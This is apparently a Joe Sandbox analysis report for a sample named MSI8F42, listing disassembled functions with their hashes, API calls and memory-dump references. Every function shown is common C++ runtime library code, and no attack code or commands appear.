Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID: 21
API String ID: 2854358121-1316489359
Opcode ID: b85cd8ffb23759f8fbabe735124ef8cd036ccc51bffcbee1339a844fedf5cc25
Instruction ID: a7b4da995fc7a40abc335af6e4b4038ce744be8f2f4df61cd49113a451d8bc59
Opcode Fuzzy Hash: b85cd8ffb23759f8fbabe735124ef8cd036ccc51bffcbee1339a844fedf5cc25
Instruction Fuzzy Hash: CF01C035A021199BCB1BEB60C861ABEB7A4BF88710F260809E410AF2D1CF309E418B91

Function 00302BB5 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00302BBC
std::_Lockit::_Lockit.LIBCPMT ref: 00302BC6

Part of subcall function 002F8C20: std::_Lockit::_Lockit.LIBCPMT ref: 002F8C50
Part of subcall function 002F8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 002F8C78

std::_Facet_Register.LIBCPMT ref: 00302C17
std::_Lockit::~_Lockit.LIBCPMT ref: 00302C37

Strings

21, xrefs: 00302C24

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID: 21
API String ID: 2854358121-1316489359
Opcode ID: 7af1a91ed2a5ab38e52343108aa40b92b83b14c74bc4fcd5772413220c990a77
Instruction ID: 77749066345e062539c3ca2a71b10c648d2f641ac21e1b4c8ae53af9f4d8a99a
Opcode Fuzzy Hash: 7af1a91ed2a5ab38e52343108aa40b92b83b14c74bc4fcd5772413220c990a77
Instruction Fuzzy Hash: 9301C0359021199BCB1BEBA4D865BBEB7B4AF84710F25081AE500AF2D1CF309E01CB91

Function 0030EBC1 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0030EBC8
std::_Lockit::_Lockit.LIBCPMT ref: 0030EBD2

Part of subcall function 002F8C20: std::_Lockit::_Lockit.LIBCPMT ref: 002F8C50
Part of subcall function 002F8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 002F8C78

std::_Facet_Register.LIBCPMT ref: 0030EC23
std::_Lockit::~_Lockit.LIBCPMT ref: 0030EC43

Strings

21, xrefs: 0030EC30

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID: 21
API String ID: 2854358121-1316489359
Opcode ID: 1eb4aba16316eaa6e771dff943af5e075203e176a1bc7879856666ee2afde56f
Instruction ID: bcc20985c8c6b10e083f63caa982b6a68e85e2a03ca9a03a4def2dcf4c690660
Opcode Fuzzy Hash: 1eb4aba16316eaa6e771dff943af5e075203e176a1bc7879856666ee2afde56f
Instruction Fuzzy Hash: 0501D636A011199BCB1BEB60C8567BEB7B4BF84710F150809F511AF2D1CF30AE018B91

Function 0030EC56 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0030EC5D
std::_Lockit::_Lockit.LIBCPMT ref: 0030EC67

Part of subcall function 002F8C20: std::_Lockit::_Lockit.LIBCPMT ref: 002F8C50
Part of subcall function 002F8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 002F8C78

std::_Facet_Register.LIBCPMT ref: 0030ECB8
std::_Lockit::~_Lockit.LIBCPMT ref: 0030ECD8

Strings

21, xrefs: 0030ECC5

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID: 21
API String ID: 2854358121-1316489359
Opcode ID: 6f313fc06480da15847e37d72c3e2cd85b3cb8c4d7171887722cf78f037891dd
Instruction ID: 4b59cc80a88190b9bc9c5a6cf69c26273dc117d9c36ff234620f7203ce779303
Opcode Fuzzy Hash: 6f313fc06480da15847e37d72c3e2cd85b3cb8c4d7171887722cf78f037891dd
Instruction Fuzzy Hash: DD01AD35A01119DBDB1BEBA4C865ABEB7A5AF84720F250819E401AB2D1CF309A418B91

Function 00302C4A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00302C51
std::_Lockit::_Lockit.LIBCPMT ref: 00302C5B

Part of subcall function 002F8C20: std::_Lockit::_Lockit.LIBCPMT ref: 002F8C50
Part of subcall function 002F8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 002F8C78

std::_Facet_Register.LIBCPMT ref: 00302CAC
std::_Lockit::~_Lockit.LIBCPMT ref: 00302CCC

Strings

21, xrefs: 00302CB9

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID: 21
API String ID: 2854358121-1316489359
Opcode ID: 98b4d3f57ca3dcf2bc45d0775c941f7ca7cd3c649df9369ab16ce6062a0862c0
Instruction ID: db09dbf1119a58dfa510bf88ebced6fc910e904428f79435b857c491593d3eea
Opcode Fuzzy Hash: 98b4d3f57ca3dcf2bc45d0775c941f7ca7cd3c649df9369ab16ce6062a0862c0
Instruction Fuzzy Hash: 2801D235902119DBCB1BEBA4D865ABEB7B4AF84710F250409F510AF2D1CF709E01CB91

Function 00302CDF Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00302CE6
std::_Lockit::_Lockit.LIBCPMT ref: 00302CF0

Part of subcall function 002F8C20: std::_Lockit::_Lockit.LIBCPMT ref: 002F8C50
Part of subcall function 002F8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 002F8C78

std::_Facet_Register.LIBCPMT ref: 00302D41
std::_Lockit::~_Lockit.LIBCPMT ref: 00302D61

Strings

21, xrefs: 00302D4E

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID: 21
API String ID: 2854358121-1316489359
Opcode ID: eabe140bdd8ace028b77dbf9b312b07f90225a716ca30e6dc4ac4f27452a6ad0
Instruction ID: 1cbbef6583cb7b3ba05e5c5d08ed62ca77ae38225bdc49295cc9f5da43d2fa65
Opcode Fuzzy Hash: eabe140bdd8ace028b77dbf9b312b07f90225a716ca30e6dc4ac4f27452a6ad0
Instruction Fuzzy Hash: 1201AD359021199BCB1BEB60D865ABEB7A5AF84710F250509E510BB2D2CF709E018B91

Function 00302E09 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00302E10
std::_Lockit::_Lockit.LIBCPMT ref: 00302E1A

Part of subcall function 002F8C20: std::_Lockit::_Lockit.LIBCPMT ref: 002F8C50
Part of subcall function 002F8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 002F8C78

std::_Facet_Register.LIBCPMT ref: 00302E6B
std::_Lockit::~_Lockit.LIBCPMT ref: 00302E8B

Strings

21, xrefs: 00302E78

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID: 21
API String ID: 2854358121-1316489359
Opcode ID: 52861adc732268eb6fe7d0664306ea1b3d22ecb1411182ab193fc25e8b3ff56f
Instruction ID: 4b86b46dfd872dfdbd09d147f86901215f3151d2b96890d0cad09cd1a7e8a7d3
Opcode Fuzzy Hash: 52861adc732268eb6fe7d0664306ea1b3d22ecb1411182ab193fc25e8b3ff56f
Instruction Fuzzy Hash: 9401D236901119DBCB1BEB64C865ABEB7B5BF94710F250909F914AF2D1CF309E41CB91

Function 00302E9E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00302EA5
std::_Lockit::_Lockit.LIBCPMT ref: 00302EAF

Part of subcall function 002F8C20: std::_Lockit::_Lockit.LIBCPMT ref: 002F8C50
Part of subcall function 002F8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 002F8C78

std::_Facet_Register.LIBCPMT ref: 00302F00
std::_Lockit::~_Lockit.LIBCPMT ref: 00302F20

Strings

21, xrefs: 00302F0D

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID: 21
API String ID: 2854358121-1316489359
Opcode ID: 1c9430cb8b03add1441d23357fd96a1e96d3bb7abf2640a43c60e5969c3b79e0
Instruction ID: c8e84fd4ba1e5d3a5dc3a25f644807e5e7a8fb6e8657937907075efca4febcde
Opcode Fuzzy Hash: 1c9430cb8b03add1441d23357fd96a1e96d3bb7abf2640a43c60e5969c3b79e0
Instruction Fuzzy Hash: E601D23590111AABCB0BEB64D865BBEB7B4BF84710F250819F910AF2D2CF309E01CB91

Function 00302F33 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00302F3A
std::_Lockit::_Lockit.LIBCPMT ref: 00302F44

Part of subcall function 002F8C20: std::_Lockit::_Lockit.LIBCPMT ref: 002F8C50
Part of subcall function 002F8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 002F8C78

std::_Facet_Register.LIBCPMT ref: 00302F95
std::_Lockit::~_Lockit.LIBCPMT ref: 00302FB5

Strings

21, xrefs: 00302FA2

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID: 21
API String ID: 2854358121-1316489359
Opcode ID: 90b86e91450585db5a43e081d43540659aaa8c81a28a4eb9fb8ef53097fdaa83
Instruction ID: 7f557b70bc60732d40743ea5c071c5384716840e1c958858037d6fe08063e9a6
Opcode Fuzzy Hash: 90b86e91450585db5a43e081d43540659aaa8c81a28a4eb9fb8ef53097fdaa83
Instruction Fuzzy Hash: 4F01D23591251ADBCB1BEB60C865ABEB7B5BF84750F250809F900AF2D1CF309E41CB91

Function 00312D20 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

SleepConditionVariableCS.KERNELBASE(?,00312CBD,00000064), ref: 00312D43
LeaveCriticalSection.KERNEL32(0034DD3C,?,?,00312CBD,00000064,?,?,?,002F23B6,0034E638,7642E7B1,?,?,00333D6D,000000FF), ref: 00312D4D
WaitForSingleObjectEx.KERNEL32(?,00000000,?,00312CBD,00000064,?,?,?,002F23B6,0034E638,7642E7B1,?,?,00333D6D,000000FF), ref: 00312D5E
EnterCriticalSection.KERNEL32(0034DD3C,?,00312CBD,00000064,?,?,?,002F23B6,0034E638,7642E7B1,?,?,00333D6D,000000FF), ref: 00312D65

Strings

21, xrefs: 00312D3D

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID: 21
API String ID: 3269011525-1316489359
Opcode ID: c069a331ae13b8df49ebf699d6f3c1a2b16351e38c08ca32556840e254e7abce
Instruction ID: e6a2260e8494ea8965939aa5cdeec33205b915e8ae5324c9acbf6235a1c32c59
Opcode Fuzzy Hash: c069a331ae13b8df49ebf699d6f3c1a2b16351e38c08ca32556840e254e7abce
Instruction Fuzzy Hash: 73E0DF36E05128BBCB272B80FC08ACF3F2DEF0AB10F000020F9096A531CB6069608BD1

Function 00326DB9 Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00326E40
__alloca_probe_16.LIBCMT ref: 00326F01
__freea.LIBCMT ref: 00326F68

Part of subcall function 00325BDC: HeapAlloc.KERNEL32(00000000,00000000,A82,?,0032543A,?,00000000,?,00316CE7,00000000,A82,00000000,?,?,?,0032363B), ref: 00325C0E

__freea.LIBCMT ref: 00326F7D
__freea.LIBCMT ref: 00326F8D

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 799613a0795a394d3433f72af581da1cfc09b3a8c134a373942a7624d428d505
Instruction ID: 0d65958bbdbb2998aa2dc61a0456f0aff183cd44ad3e91e7d92acc4d5a105099
Opcode Fuzzy Hash: 799613a0795a394d3433f72af581da1cfc09b3a8c134a373942a7624d428d505
Instruction Fuzzy Hash: 91517E7260022AAFEF279F64FD42EAF36A9EF08750F160529FD08DA150E731DC5086A0

Function 002FB8B0 Relevance: 7.6, APIs: 5, Instructions: 105COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 002FB8DD
std::_Lockit::_Lockit.LIBCPMT ref: 002FB900
std::_Lockit::~_Lockit.LIBCPMT ref: 002FB928
std::_Facet_Register.LIBCPMT ref: 002FB98D
std::_Lockit::~_Lockit.LIBCPMT ref: 002FB9B7

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 7aaf48cffe1c51aa9353fe836073de160d6aee9a3dd910926cf9aa32009f3c26
Instruction ID: f92774a09682514232972efb0a91e262769eb55bca7616847445025b8a587f1e
Opcode Fuzzy Hash: 7aaf48cffe1c51aa9353fe836073de160d6aee9a3dd910926cf9aa32009f3c26
Instruction Fuzzy Hash: 2D31F035900219DFCB12CF54C990BAEBBB8FF21364F154169EA04AB2A1DB70AE01CF81

Function 00301C42 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

_Maklocstr.LIBCPMT ref: 00301C62
_Maklocstr.LIBCPMT ref: 00301C7F
_Maklocstr.LIBCPMT ref: 00301C9C
_Maklocchr.LIBCPMT ref: 00301CAE
_Maklocchr.LIBCPMT ref: 00301CC1

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: Maklocstr$Maklocchr
String ID:
API String ID: 2020259771-0
Opcode ID: 8be7aea73659476f5373328eb2cfb3c61c200894fb0c899aad15795aa278b2ab
Instruction ID: f778b2bfbe6b63d6caa50af72d0ef81a874045436d4cd82908d3cbd00572e479
Opcode Fuzzy Hash: 8be7aea73659476f5373328eb2cfb3c61c200894fb0c899aad15795aa278b2ab
Instruction Fuzzy Hash: BB119EB1941784BFE721DBA5C891F17B7ECAF05350F080519F645CBA81D2A4FD50C7A5

Function 002FEC87 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 317COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 002FEC8E

Part of subcall function 002FD87C: __EH_prolog3.LIBCMT ref: 002FD883
Part of subcall function 002FD87C: std::_Lockit::_Lockit.LIBCPMT ref: 002FD88D
Part of subcall function 002FD87C: std::_Lockit::~_Lockit.LIBCPMT ref: 002FD8FE

_Find_elem.LIBCPMT ref: 002FEE8A

Strings

21, xrefs: 002FECBC, 002FED00
0123456789ABCDEFabcdef-+Xx, xrefs: 002FECF6

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: Lockitstd::_$Find_elemH_prolog3H_prolog3_Lockit::_Lockit::~_
String ID: 21$0123456789ABCDEFabcdef-+Xx
API String ID: 2544715827-778032925
Opcode ID: 7251b7f5640d11e8537074a8e3efe0dfe472491408bdb05b9a44a1fbd188a250
Instruction ID: e3594b928e241e226f4074771e5b74b5e3df3c896cc950e88860d541b41e0205
Opcode Fuzzy Hash: 7251b7f5640d11e8537074a8e3efe0dfe472491408bdb05b9a44a1fbd188a250
Instruction Fuzzy Hash: 5BC1AF30E2428D8ADF26DFA4C550BFCFBB6AF45380F264179E9856B2A3C7209D55CB11

Function 003062BE Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 316COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 003062C8

Part of subcall function 00302D74: __EH_prolog3.LIBCMT ref: 00302D7B
Part of subcall function 00302D74: std::_Lockit::_Lockit.LIBCPMT ref: 00302D85
Part of subcall function 00302D74: std::_Lockit::~_Lockit.LIBCPMT ref: 00302DF6

_Find_elem.LIBCPMT ref: 00306502

Strings

21, xrefs: 003062FC, 00306349
0123456789ABCDEFabcdef-+Xx, xrefs: 0030633F

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: Lockitstd::_$Find_elemH_prolog3H_prolog3_Lockit::_Lockit::~_
String ID: 21$0123456789ABCDEFabcdef-+Xx
API String ID: 2544715827-778032925
Opcode ID: 9d454d8fe9c1328ec719f50e6ae09d7c225e4071555765a5d01f5872e8c91b2a
Instruction ID: fc9b6fb57ccda8da72a318e08cf8bd0c11152c5cdb40b7e8ce6f82532f5b8fbf
Opcode Fuzzy Hash: 9d454d8fe9c1328ec719f50e6ae09d7c225e4071555765a5d01f5872e8c91b2a
Instruction Fuzzy Hash: D7C1B430E062688BDF26DF64C8627ADBBB1BF51304F454099E885AB2CBDB348D95CB50

Function 00306694 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 316COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0030669E

Part of subcall function 002FB8B0: std::_Lockit::_Lockit.LIBCPMT ref: 002FB8DD
Part of subcall function 002FB8B0: std::_Lockit::_Lockit.LIBCPMT ref: 002FB900
Part of subcall function 002FB8B0: std::_Lockit::~_Lockit.LIBCPMT ref: 002FB928
Part of subcall function 002FB8B0: std::_Lockit::~_Lockit.LIBCPMT ref: 002FB9B7

_Find_elem.LIBCPMT ref: 003068D8

Strings

21, xrefs: 003066D2, 0030671F
0123456789ABCDEFabcdef-+Xx, xrefs: 00306715

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Find_elemH_prolog3_
String ID: 21$0123456789ABCDEFabcdef-+Xx
API String ID: 3042121994-778032925
Opcode ID: 0116d987eb4d82226a80dced5cbc3c229072ed591c58dbb78bfbe09bd2def5df
Instruction ID: 42afd0f9a48cece718c0f4e5127f1d65f746191c76433b08d0ce27ff42113793
Opcode Fuzzy Hash: 0116d987eb4d82226a80dced5cbc3c229072ed591c58dbb78bfbe09bd2def5df
Instruction Fuzzy Hash: A2C1C670E062588FDF26DF64C8627BDBBB2BF41304F558099D885AB2CADB348D95CB50

Function 002FBB40 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 181memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000018,7642E7B1,?,00000000), ref: 002FBBA3
Concurrency::cancel_current_task.LIBCPMT ref: 002FBD7F

Strings

true, xrefs: 002FBCAB
false, xrefs: 002FBC95

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: AllocConcurrency::cancel_current_taskLocal
String ID: false$true
API String ID: 3924972193-2658103896
Opcode ID: eb169c8db4654a405d1fe4eb94d59b934dced8d2f29aa2ef17f25fceb27e3f67
Instruction ID: 9b1cfe84486f42ac54aa0a2a04131b0940b20fa065e762fc35d3435040748b22
Opcode Fuzzy Hash: eb169c8db4654a405d1fe4eb94d59b934dced8d2f29aa2ef17f25fceb27e3f67
Instruction Fuzzy Hash: 1361ADB1D0034C9BDB11DFA4C941BEEFBF8BF18704F14426AE945AB281E775AA44CB91

Function 0030D4FA Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 130COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0030D501
_swprintf.LIBCMT ref: 0030D573

Part of subcall function 0030254E: __EH_prolog3.LIBCMT ref: 00302555
Part of subcall function 0030254E: std::_Lockit::_Lockit.LIBCPMT ref: 0030255F
Part of subcall function 0030254E: std::_Lockit::~_Lockit.LIBCPMT ref: 003025D0

Part of subcall function 00302FC8: __EH_prolog3.LIBCMT ref: 00302FCF

Strings

%.0Lf, xrefs: 0030D56B
21, xrefs: 0030D5C9, 0030D611

Memory Dump Source

